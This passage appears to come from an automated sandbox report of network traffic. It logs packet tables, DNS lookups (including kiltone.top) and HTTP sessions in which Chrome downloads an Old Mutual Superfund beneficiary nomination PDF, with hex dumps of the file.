                                                                                                                                          Dec 14, 2024 14:00:05.266380072 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.266477108 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:05.266514063 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.266577005 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:05.269265890 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:39.815788031 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:39.815844059 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:39.816595078 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:39.816858053 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:39.816875935 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:41.512620926 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:41.517543077 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:41.517574072 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:41.518013954 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:41.534512997 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:41.534653902 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:41.658274889 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:51.253675938 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:51.253772020 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:51.253829002 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:52.625998020 CET49870443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:00:52.626044989 CET44349870142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:39.877676010 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:01:39.877737999 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:39.877865076 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:01:39.878148079 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:01:39.878165960 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:41.569633961 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:41.570372105 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:01:41.570405006 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:41.570794106 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:41.571839094 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 14:01:41.571944952 CET44350000142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:41.626698017 CET50000443192.168.2.11142.250.181.132
                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                          Dec 14, 2024 13:59:35.516426086 CET6355253192.168.2.111.1.1.1
                                                                                                                                          Dec 14, 2024 13:59:35.516578913 CET5031453192.168.2.111.1.1.1
                                                                                                                                          Dec 14, 2024 13:59:35.652055025 CET53529601.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:35.656287909 CET53510631.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET53635521.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:36.254358053 CET53503141.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.094788074 CET53585821.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.785444975 CET5257953192.168.2.111.1.1.1
                                                                                                                                          Dec 14, 2024 13:59:39.786312103 CET6504253192.168.2.111.1.1.1
                                                                                                                                          Dec 14, 2024 13:59:39.975653887 CET53650421.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.976959944 CET53525791.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.120295048 CET5316153192.168.2.111.1.1.1
                                                                                                                                          Dec 14, 2024 13:59:43.519906998 CET53531611.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:56.202796936 CET53627501.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:15.047272921 CET53548101.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:26.148627043 CET138138192.168.2.11192.168.2.255
                                                                                                                                          Dec 14, 2024 14:00:35.303725004 CET53533131.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:37.720362902 CET53503071.1.1.1192.168.2.11
                                                                                                                                          Dec 14, 2024 14:01:08.429948092 CET53514241.1.1.1192.168.2.11
                                                                                                                                          TimestampSource IPDest IPChecksumCodeType
                                                                                                                                          Dec 14, 2024 14:00:40.329272032 CET192.168.2.111.1.1.14d5aEcho
                                                                                                                                          Dec 14, 2024 14:00:40.465800047 CET1.1.1.1192.168.2.11555aEcho Reply
                                                                                                                                          Dec 14, 2024 14:00:57.472265959 CET192.168.2.111.1.1.14d59Echo
                                                                                                                                          Dec 14, 2024 14:00:57.609751940 CET1.1.1.1192.168.2.115559Echo Reply
                                                                                                                                          Dec 14, 2024 14:01:01.276829004 CET192.168.2.111.1.1.14d58Echo
                                                                                                                                          Dec 14, 2024 14:01:01.413543940 CET1.1.1.1192.168.2.115558Echo Reply
                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                          Dec 14, 2024 13:59:35.516426086 CET192.168.2.111.1.1.10x17b0Standard query (0)www.oldmutual.co.zaA (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:35.516578913 CET192.168.2.111.1.1.10x5fa7Standard query (0)www.oldmutual.co.za65IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:39.785444975 CET192.168.2.111.1.1.10xa6aeStandard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:39.786312103 CET192.168.2.111.1.1.10x7aeaStandard query (0)www.google.com65IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:43.120295048 CET192.168.2.111.1.1.10xc0b9Standard query (0)kiltone.topA (IP address)IN (0x0001)false
                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET1.1.1.1192.168.2.110x17b0No error (0)www.oldmutual.co.zad12y248af9ueom.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET1.1.1.1192.168.2.110x17b0No error (0)d12y248af9ueom.cloudfront.net108.158.75.92A (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET1.1.1.1192.168.2.110x17b0No error (0)d12y248af9ueom.cloudfront.net108.158.75.80A (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET1.1.1.1192.168.2.110x17b0No error (0)d12y248af9ueom.cloudfront.net108.158.75.9A (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:36.253232956 CET1.1.1.1192.168.2.110x17b0No error (0)d12y248af9ueom.cloudfront.net108.158.75.99A (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:36.254358053 CET1.1.1.1192.168.2.110x5fa7No error (0)www.oldmutual.co.zad12y248af9ueom.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:39.975653887 CET1.1.1.1192.168.2.110x7aeaNo error (0)www.google.com65IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:39.976959944 CET1.1.1.1192.168.2.110xa6aeNo error (0)www.google.com142.250.181.132A (IP address)IN (0x0001)false
                                                                                                                                          Dec 14, 2024 13:59:43.519906998 CET1.1.1.1192.168.2.110xc0b9No error (0)kiltone.top45.125.67.168A (IP address)IN (0x0001)false
                                                                                                                                          • www.oldmutual.co.za
                                                                                                                                          • https:
                                                                                                                                          • kiltone.top
                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          0192.168.2.1149712108.158.75.924437948C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-12-14 12:59:38 UTC778OUTGET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1
                                                                                                                                          Host: www.oldmutual.co.za
                                                                                                                                          Connection: keep-alive
                                                                                                                                          sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                          sec-ch-ua-mobile: ?0
                                                                                                                                          sec-ch-ua-platform: "Windows"
                                                                                                                                          Upgrade-Insecure-Requests: 1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                                                          Sec-Fetch-Site: none
                                                                                                                                          Sec-Fetch-Mode: navigate
                                                                                                                                          Sec-Fetch-User: ?1
                                                                                                                                          Sec-Fetch-Dest: document
                                                                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                          2024-12-14 12:59:38 UTC1051INHTTP/1.1 200 OK
                                                                                                                                          Content-Type: application/pdf
                                                                                                                                          Content-Length: 313058
                                                                                                                                          Connection: close
                                                                                                                                          Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Fastly-Io-Error: not a supported image format
                                                                                                                                          Fastly-Io-Served-By: vpop-etou8240196
                                                                                                                                          Fastly-Stats: io=1
                                                                                                                                          Server: contentstack
                                                                                                                                          X-Contentstack-Organization: blt2c31cdce6d24f06c
                                                                                                                                          X-Request-Id: 153d77aac8426bfb4b8c4c3c0751c407
                                                                                                                                          X-Runtime: 105ms
                                                                                                                                          Via: 1.1 varnish, 1.1 varnish, 1.1 6ee57430ba13d2dcea3397c03edd349a.cloudfront.net (CloudFront)
                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          Date: Sat, 14 Dec 2024 12:59:38 GMT
                                                                                                                                          X-Served-By: cache-ams21052-AMS, cache-fjr990022-FJR
                                                                                                                                          X-Cache-Hits: 5, 0
                                                                                                                                          X-Timer: S1734181179.578163,VS0,VE125
                                                                                                                                          Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length
                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                          Strict-Transport-Security: max-age=31557600
                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                          X-Cache: Miss from cloudfront
                                                                                                                                          X-Amz-Cf-Pop: BAH53-P2
                                                                                                                                          X-Amz-Cf-Id: MsLzw9OAowEX2H3b3BiBRKXD86uwPlA2VI2iB2mvBHdzPwxLEQA3XA==
                                                                                                                                          2024-12-14 12:59:38 UTC16384INData Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76
                                                                                                                                          Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: 27 06 fe bc d0 63 0f 61 5d 5e 56 70 d7 b5 de 4e bb 2e 2f 2b 56 fb 86 cb cb 8a ed 9d b3 2e 2f 2b b6 17 ae ba bc ac d8 5e b8 ea d2 b2 62 fb 6d e4 fe 1a 71 50 56 cc 5f 10 7c 5a 56 22 e6 95 f3 0d 15 71 55 7c 14 d4 ba c2 0b e2 69 59 59 27 5e f3 01 7e 1a 4d 63 d7 38 34 ba c6 d0 38 35 a6 c6 d2 28 3c 13 9e 09 cf 84 67 0f 75 22 46 7c a1 6c 55 3f 6d ac 6e 1a bb c6 a1 d1 35 86 c6 a9 31 35 d6 43 09 59 4f 0b 11 9e 1b 75 9f cd cf 16 6f 4b ba 97 74 2f e9 5e d2 bd 4c 2a 98 54 30 a9 60 52 c1 f2 fc d1 b7 25 0f 97 3c 5c f2 70 c9 c3 25 0f 97 3c 5c f2 70 c9 c3 d5 0e 0c bb cd 25 3f 2f f9 79 29 6e 4b 71 5b 8a db 52 dc 96 e2 b6 14 b7 b5 8e d0 55 e5 b3 84 aa de 92 ea 2d a9 de 92 ea 2d a9 de 92 a5 6c 38 15 91 73 e8 ea 0a a9 ae 90 ea 0a a9 ae 90 29 54 f5 a2 54 2f 4a f5 a2 2c 3b 42
                                                                                                                                          Data Ascii: 'ca]^VpN./+V./+^bmqPV_|ZV"qU|iYY'^~Mc8485(<gu"F|lU?mn515CYOuoKt/^L*T0`R%<\p%<\p%?/y)nKq[RU--l8s)TT/J,;B
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: 64 3a 33 35 38 33 63 35 35 31 2d 36 38 30 37 2d 39 37 34 31 2d 39 63 66 30 2d 36 38 32 64 62 35 31 38 31 35 33 65 3c 2f 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 63 33 36 35 33 35 39 65 2d 35 62 35 66 2d 31 31 64 64 2d 39 31 65 30 2d 62 30 65 61 30 30 65 31 37 65 62 64 3c 2f 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3e 78 6d 70 2e 69 64 3a 32 65 34 64 31 30 61 38 2d 38 31 34 31 2d 34 31 64 35 2d 38 35 38 37 2d 33 62 33 32 39 33 34 62 66 38 66 65 3c 2f 78 6d 70 4d 4d 3a 44 6f 63
                                                                                                                                          Data Ascii: d:3583c551-6807-9741-9cf0-682db518153e</xmpMM:InstanceID> <xmpMM:OriginalDocumentID>adobe:docid:indd:c365359e-5b5f-11dd-91e0-b0ea00e17ebd</xmpMM:OriginalDocumentID> <xmpMM:DocumentID>xmp.id:2e4d10a8-8141-41d5-8587-3b32934bf8fe</xmpMM:Doc
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: 99 79 52 dd 63 8a 3e cf df 5e f0 78 ee 49 23 b8 9d 4f 35 4e f3 2c f6 47 ef 2d 34 72 50 1f 28 f5 f0 66 0a 6e 2f 12 00 8f 9f ee 30 6e 45 61 20 25 fb cc 74 cb 50 4a 66 fe 1b 15 27 78 1e f4 7e d4 84 c5 12 22 2d c6 e8 e6 23 97 47 8a c5 31 7d 0c ad c2 c6 2b 02 9d 15 ed 20 c3 79 73 13 52 3a 80 16 15 93 0d a0 05 d0 35 13 1e 4d 56 59 c6 62 31 ad 0b 31 54 c4 7e 83 8f 52 44 da df 4b 06 30 03 a6 90 2e 35 8d e1 09 7b 55 11 aa 88 af 2a 49 b5 d5 c9 52 23 8d a0 27 eb 1e 5b 1f c5 15 b6 1e bf 8f 2e 35 33 ff bd a1 58 ee 82 2e 55 ab b0 00 b5 62 15 e2 c0 2e 35 b2 c7 d7 14 e0 16 da bb 3e 8a 62 ea b0 30 8a f8 20 3c 2b d8 ef 29 46 74 bf 65 06 d0 25 50 84 20 4e 56 f0 89 5d b1 23 45 94 f0 9c c0 33 ef b7 ca 87 b6 50 fb 7d 95 3c 08 cc 06 93 e5 3c e8 43 48 d1 fe 0d 95 8c 78 fa 51 7d
                                                                                                                                          Data Ascii: yRc>^xI#O5N,G-4rP(fn/0nEa %tPJf'x~"-#G1}+ ysR:5MVYb11T~RDK0.5{U*IR#'[.53X.Ub.5>b0 <+)Fte%P NV]#E3P}<<CHxQ}
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: c1 d2 79 4b d9 4f b0 b5 8c fd 94 55 c3 7e ca ba 9b fd 94 b5 9c db 0c c0 b8 87 db 64 a3 96 db 64 23 cc 6d b2 51 c7 3e 41 18 f5 ec c3 c6 0a f6 61 a3 81 7d d8 58 a9 e2 2a 85 75 af 8a 8b ad fb 54 5c 6c ad 52 71 b1 b5 5a c5 c5 d6 1a 15 17 5b f7 ab b8 d8 5a ab e2 62 6b 1d c6 b8 28 36 81 0f a8 54 a4 18 e6 b7 b4 39 1d e6 83 3c e8 2a 35 03 a9 f5 b8 46 8d cf 43 da 64 9f 0d ca 47 18 9f 87 51 78 6a ac d6 47 54 4a 95 78 54 9b 5c 62 a3 36 d9 7d 13 ea 31 0e 8f 69 93 1d 36 6b 93 1d be 0d 5f 7f ac be 2d 2a a5 dc b7 6a 93 dd b7 69 93 dd 1f 47 49 e3 b0 5d 9b ec f0 1d 6d b2 c3 0e f8 4e 8b d5 f7 84 4a 29 f7 ef 6a 93 dd bf a7 4d 76 7f 12 25 8d c3 53 da 64 87 a7 b5 c9 0e 3b bd 4d 7d 1c 32 fa 58 2d cd 8f 24 ad 8c 58 d9 95 9b a2 f7 f0 68 f3 1b d1 45 25 7f 38 fe ea cc da 14 ff 7f
                                                                                                                                          Data Ascii: yKOU~dd#mQ>Aa}X*uT\lRqZ[Zbk(6T9<*5FCdGQxjGTJxT\b6}1i6k_-*jiGI]mNJ)jMv%Sd;M}2X-$XhE%8
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: 53 4d ab 85 aa b5 95 90 d6 48 6b 57 67 18 88 cd 89 a0 17 22 8c 4e 35 3c 18 96 84 94 e1 41 fa e0 0f 67 cf 7d 7a 69 fd 01 95 d6 f9 83 e3 17 27 3e be cd ee 39 b7 ff 45 79 d5 c6 b4 75 9d e1 73 8e bf 80 7c e0 6b 63 0c d8 98 8f 6b 63 08 21 10 8c b1 1d 3e 7c 8d 0d 26 e0 05 1c 0c e1 a3 c1 59 13 06 c9 92 54 2d a3 cd 07 4d 1a 93 90 8f 69 93 9a 46 53 33 75 99 54 75 3f a6 6c 53 34 2d 9a b4 a5 da a4 6e da 8f 49 9d a6 49 5b 9b f6 c7 b4 8f ac d3 a6 4d d3 b4 a9 4d c6 65 cf 39 f7 62 20 59 36 2d 04 0b df 7b ee 39 ef fb bc cf fb bc cf 9d 99 f9 ea 24 6a f6 bd 8e a3 f1 f8 67 3b d4 16 0d 07 7e f6 61 9c bd 85 34 28 75 88 c5 00 f2 cd 20 6d 71 6a fb 20 31 1a 4d 07 89 c9 14 32 a5 24 fe cf 6a 2e ac 68 b4 d7 38 f2 3f 63 8c aa 97 68 46 fd 06 bd bc f2 77 76 6f e1 9b 0b 77 16 d6 f6 8d
                                                                                                                                          Data Ascii: SMHkWg"N5<Ag}zi'>9Eyus|kckc!>|&YT-MiFS3uTu?lS4-nII[MMe9b Y6-{9$jg;~a4(u mqj 1M2$j.h8?chFwvow
                                                                                                                                          2024-12-14 12:59:39 UTC8949INData Raw: 9b 85 cc 6a c5 a4 25 08 35 75 06 ca 41 0a 84 73 6a 0d 82 9f 36 a0 2d c8 82 d0 83 ce 41 35 88 fb 53 16 7e 39 a6 64 51 33 c7 24 72 09 42 ef 79 05 62 87 6c 1d e7 c9 27 53 eb a8 ad 98 b6 31 8f 1d e4 16 35 0d cf 2c db e2 9c 56 81 30 17 cb 0e 59 19 27 c1 0e b2 84 83 a9 40 e8 dd d4 88 8c 55 e0 57 a2 23 6b bf ff 9a a9 10 ad d8 53 56 38 9d c1 84 23 29 ae 64 ea b8 25 d0 ea 06 c4 5b 62 1a f4 a1 b0 09 4d f4 b4 20 cc d4 e6 bc 8c 71 eb 96 b5 0c b7 47 fc ec 7c 77 f5 3e ac 3b 5f 31 de f3 65 c3 07 47 3f b7 70 1a 27 11 b2 96 37 f9 02 00 00 ff ff 00 00 00 ff ff 03 00 b3 a2 e6 f7 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 39 39 31 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 31 37 37 2e 38 34 20 31 33 2e 32 5d 2f 46 6f 72 6d 54 79 70 65 20
                                                                                                                                          Data Ascii: j%5uAsj6-A5S~9dQ3$rBybl'S15,V0Y'@UW#kSV8#)d%[bM qG|w>;_1eG?p'7endstreamendobj991 0 obj<</BBox[0.0 0.0 177.84 13.2]/FormType
                                                                                                                                          2024-12-14 12:59:39 UTC7435INData Raw: 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 33 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 37 32 2e 30 20 31 33 2e 33 31 39 39 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a
                                                                                                                                          Data Ascii: >/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1038 0 obj<</BBox[0.0 0.0 72.0 13.3199]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj
                                                                                                                                          2024-12-14 12:59:39 UTC8949INData Raw: 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 37 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 35 34 2e 30 20 31 31 2e 35 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46
                                                                                                                                          Data Ascii: Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1078 0 obj<</BBox[0.0 0.0 54.0 11.52]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/F
                                                                                                                                          2024-12-14 12:59:39 UTC16384INData Raw: 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 38 36 2e 32 38 20 31 31 2e 35 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f
                                                                                                                                          Data Ascii: pe 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1129 0 obj<</BBox[0.0 0.0 86.28 11.52]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          1192.168.2.1149727108.158.75.924437948C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-12-14 12:59:41 UTC710OUTGET /favicon.ico HTTP/1.1
                                                                                                                                          Host: www.oldmutual.co.za
                                                                                                                                          Connection: keep-alive
                                                                                                                                          sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                          sec-ch-ua-mobile: ?0
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                          sec-ch-ua-platform: "Windows"
                                                                                                                                          Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                                                          Sec-Fetch-Site: same-origin
                                                                                                                                          Sec-Fetch-Mode: no-cors
                                                                                                                                          Sec-Fetch-Dest: image
                                                                                                                                          Referer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                          2024-12-14 12:59:43 UTC9648INHTTP/1.1 404 Not Found
                                                                                                                                          Content-Type: text/html
                                                                                                                                          Content-Length: 8659
                                                                                                                                          Connection: close
                                                                                                                                          Date: Sat, 14 Dec 2024 12:59:44 GMT
                                                                                                                                          Last-Modified: Fri, 13 Dec 2024 15:13:14 GMT
                                                                                                                                          ETag: "693e4a6385e015012881fbf286a7610b"
                                                                                                                                          x-amz-server-side-encryption: AES256
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          Server: AmazonS3
